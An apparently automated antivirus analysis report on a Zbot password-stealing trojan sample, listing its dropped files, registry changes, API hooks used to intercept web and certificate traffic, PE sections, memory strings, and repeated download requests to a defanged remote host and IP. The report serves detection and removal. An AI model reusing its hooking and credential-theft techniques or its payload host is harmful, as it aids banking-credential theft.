TrojanPSW.Win32.Zbot_aa2ad1eb38 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

emky.exe:928
%original file name%.exe:556

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:692

File activity

The process %original file name%.exe:556 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Piniu\emky.exe (116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2cde41c2.bat (177 bytes)

Registry activity

The process emky.exe:928 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "39 4C ED C6 21 54 41 59 6A 6F 30 3A 6D D5 15 8F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:556 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 32 31 99 C1 46 55 55 F6 7C F2 B1 E2 CD 72 2F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Yhirib]
"Adtah" = "2A 9B E8 65 1A A7 4F A0 DC 47 06 21 FD CC 69 1D"

Dropped PE files

MD5	File path
42c97dcbff1a5a672c398f4ac28a705a	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Piniu\emky.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
emky.exe:928
%original file name%.exe:556
Delete the original Trojan-PSW file.
Delete or disinfect the following files created/modified by the Trojan-PSW:
%Documents and Settings%\%current user%\Application Data\Piniu\emky.exe (116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2cde41c2.bat (177 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	11084	11264	2.97992	99230de72954ebd7ddee5ec24b4889dd
.sdata	16384	264	512	1.46054	f8473f9dc5cce101e5050d1e5d9d4bd4
.data	20480	197	512	0.632712	2ce251a5e3bd5299aee15fec1d19b5a6
.qdata	24576	89820	90112	5.39475	9b2b43432e73b44fde16608bd53b510b
.data	114688	7356	7680	5.12203	53b3d87e5e3e161d57dd1962574fd24b
.rsrc	122880	4544	4608	1.09169	9dce60d34aad2a75d4e3595d9f5410c1
.reloc	131072	20632	512	1.58227	e24df571f6915bc95ddd27c71cb6eb87

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://mast99d.com/upp7.so	82.165.37.26

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:35 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:29 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:40 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:24 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:45 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:29 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:40 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:24 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

GET /upp7.so HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mast99d.com

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Server: nginx/1.6.0

Date: Sat, 14 Jun 2014 11:55:34 GMT

Content-Type: text/html

Content-Length: 570

Connection: close

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>................

Map

The Trojan-PSW connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_692_rwx_00F30000_00025000:

.text

`.data

.reloc

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

PR_OpenTCPSocket

HTTP/1.1

userenv.dll

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

del "%s"

if exist "%s" goto d

del /F "%s"

http://www.google.com/webhp

http://

https://

HTTP/1.

'=%"6,6<</pre><pre>6-,>..70></pre><pre>Wmkoipj%idedoah-sg0}</pre><pre>: $"06 , </pre><pre>}zoyecg{.dzf</pre><pre>$93 $3#5#</pre><pre>%0' ;>>,</pre><pre>KM].diekbau</pre><pre>, >(3=2;</pre><pre>)4>-)>.8.</pre><pre>121<4?= </pre><pre>1;5;;64|</pre><pre>3=??/:; )</pre><pre>PSSj%S</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>MsgWaitForMultipleObjects</pre><pre>SetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>USER32.dll</pre><pre>RegOpenKeyExW</pre><pre>RegEnumKeyExW</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>InternetCrackUrlA</pre><pre>HttpOpenRequestA</pre><pre>HttpAddRequestHeadersA</pre><pre>GetUrlCacheEntryInfoW</pre><pre>HttpAddRequestHeadersW</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>explorer.exe</pre><pre>rdpclip.exe</pre><pre>ctfmon.exe</pre><pre>wscntfy.exe</pre><pre>taskeng.exe</pre><pre>taskhost.exe</pre><pre>dwm.exe</pre><pre>ntdll.dll</pre><pre>nspr4.dll</pre><pre>*kernel32.dll</pre><pre>"%s" %s</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion</pre><pre>%s_XX</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SysShadow</pre><pre>cGlobal\XXX</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{960994EC-2BC9-F97B-3081-8B34F7D9FA77}</pre><pre>Global\{007226C7-99E2-6F00-3081-8B34F7D9FA77}</pre><pre>%Documents and Settings%\%current user%\Application Data\Viimug\cyig.ixi</pre><pre>%Documents and Settings%\%current user%\Application Data\Viimug</pre><pre>cyig.ixi</pre>

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps